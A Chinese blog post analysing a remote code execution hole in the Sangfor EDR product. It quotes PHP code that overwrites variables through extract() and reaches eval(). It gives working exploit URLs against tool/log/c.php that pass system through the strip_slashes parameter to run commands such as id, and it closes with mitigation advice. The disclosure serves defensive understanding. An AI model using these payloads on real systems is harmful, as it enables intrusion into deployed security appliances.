深信服终端检测响应平台EDR,围绕终端资产安全生命周期,通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。在应对高级威胁的同时,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。
1、本标题译为远程代码执行(remote command/code execute)
2、让我们来了解一下php变量覆盖漏洞函数吧
extract($params):写入全局变量!!!
② 通过extract函数在Get传参,覆盖变量$auth和$a的值得到结果private!
3、我们来看一下HW队挖来的代码
echo "Log Helper
";
$show_form($_REQUEST);
跟入show_form
/** * 显示表单 * @param array $params 请求参数 * @return */
$show_form = function($params) use(&$strip_slashes, &$show_input) {
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
$main = function($argv) {
extract($argv);
if (!isset($code)){
return;
}
eval($code);
};
一看就是经典的php变量覆盖漏洞,还完成了RCE,简直是官方后门,一句话后门都不敢这么写。
HW队拓展一下,使用grep搜索一下,发现tools目录下全部都是变量覆盖漏洞……
经过上面代码分析漏洞位置:host 参数
例一、
https://IP/tool/log/c.php?strip_slashes=system&host=id
https://xxx.com:xxx/tool/log/c.php?strip_slashes=system&host=pwd
1、其实别的页面也有很多类似的漏洞,比如登陆页面可以利用其实现任意用户免密登录(我的另一篇博客有写到);
代码漏洞太多了,所以还是建议先下线吧,临时处置可采取;
2、实在不想下线的紧急处理:
①将该目录先删除或藏到很深很深深到FBI找不到;
②将登陆界面代码部分重写;